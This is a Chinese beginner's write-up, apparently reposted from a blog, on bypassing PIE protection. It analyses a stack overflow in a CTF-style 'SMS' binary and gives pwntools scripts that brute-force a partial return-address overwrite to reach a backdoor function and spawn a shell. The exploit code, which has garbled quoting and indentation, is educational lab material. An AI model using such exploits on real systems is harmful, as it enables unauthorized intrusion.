首页 > 系统服务 > 详细

linux漏洞分析入门笔记-bypass_PIE

时间:2018-12-19 19:09:10      阅读:341      评论:0      收藏:0      [点我收藏+]

ubuntu 16.04

IDA 7.0

docker

0x00:漏洞分析

1.ASLR的是操作系统的功能选项,作用于executable(ELF)装入内存运行时,因而只能随机化stack、heap、libraries的基址;而PIE(Position Independent Executables)是编译器(gcc,..)功能选项(-fPIE),作用于excutable编译过程,可将其理解为特殊的PIC(so专用,Position Independent Code),加了PIE选项编译出来的ELF用file命令查看会显示其为so,其随机化了ELF装载内存的基址(代码段、plt、got、data等共同的基址)。

ASLR早于PIE出现,所以有return-to-plt、got hijack、stack-pivot(bypass stack ransomize)等绕过ASLR的技术;而在ASLR+PIE之后,这些bypass技术就都失效了,只能借助其他的信息泄露漏洞泄露基址(常用libc基址)。

ASLR有0/1/2三种级别,其中0表示ASLR未开启,1表示随机化stack、libraries,2还会随机化heap。

2.查看目标程序属性与动态分析漏洞成因。

技术分享图片

          图1

图1中可以看到程序开启了PIE保护,每次加载的基址是不一样的,PIE的应用给使用ROP技术造成了很大的难度。

通过IDA动态调试目标程发现漏洞产生是如下地方:

技术分享图片

          图2

程序执行过程中在dosms函数中调用了set_user与set_sms函数,set_user读取最大长度为128字符的username,最后一字节做了set_sms中strncpy的大小,修改最后一个字节构长时造成溢出。

1.简单写一个rop来测试。

#! /usr/bin/python
from pwn import *
import pdb
context.log_level = debug
target = process(./SMS)
elf=ELF(./SMS)
pdb.set_trace()
#poc
target.recv()
rop=A*40#
rop+=\xca# size
target.sendline(rop)
target.recv()
rop+=B*159#
#rop+=‘\x01\xC9‘# pass pie
rop+=C*8#ret address
target.sendline(rop)
target.recv()
target.interactive()

技术分享图片

          图3

如图3所示返回地址被CCCCCCCC覆盖了,由于这个程序开启了PIE保护,我们不能确定frontdoor的具体地址,因此没办法直接通过溢出来跳转到frontdoor(),也不能通过got表来实现rop了。

0x01:爆破绕过PIE

1.libc每次加载基址会发生变化是ASLR。开启了PIE后的地址,和libc加载时一样,都是在一个内存页的单位上进行变化,即地址的低三位(4KB=0x1000)是不变化的,所以我们可以通过溢出只覆盖已有地址的低三位,(某条指令的后12位,3个十六进制数的地址是始终不变的。因此通过覆盖EIP的后8或16位)如果在最后一字节0-0xff空间内有可用的rop也可以只覆盖低两位也就是一个字节来控制流程,不过这样的机率太小了。

2.对比下发现每次随机的其实只有一个位是变化的,所以最多尝试16次就能成功爆破。

技术分享图片

          图5

技术分享图片

          图5

我们直接将返回地址修改成后门的地址。

技术分享图片

          图6

3.最终的poc如下:

#! /usr/bin/python
#coding:utf-8
from pwn import *
import pdb
context.log_level = debug
elf=ELF(./SMS)
pdb.set_trace()
patcharr = [\x01\x09,\x01\x19,\x01\x29,\x01\x39,\x01\x49,\x01\x59,\x01\x69,\x01\x79,\x01\x89,\x01\x99,\x01\xA9,\x01\xB9,\x01\xC9,\x01\xD9,\x01\xE9,\x01\xF9]
i = 0
while True:
        print i
        io = remote("172.17.0.2", 10001)        
        io.recv()
        payload = A*40 #padding
        payload += \xca  #size                                      
        io.sendline(payload)
        io.recv()
        payload = B*200 #padding
        payload += patcharr[6] # i frontdoor最多尝试16次
        io.sendline(payload)
        io.recv()
     i += 1
        try:
                io.recv(timeout = 1)
        except EOFError:
                io.close()
        print error......
                continue
        else:
                sleep(0.1)
        print succ......
                io.sendline(/bin/sh\x00)
                sleep(0.1)                                                
                io.interactive()
                break

最后成功获得shell:

技术分享图片

          图7

0x02:总结

1.本是想通过修改最后一个字节来执行rop泄露内存地址,但是没有在0x00-0xFF内存空间中找到适合的rop。

linux漏洞分析入门笔记-bypass_PIE

原文:https://www.cnblogs.com/2014asm/p/10145186.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!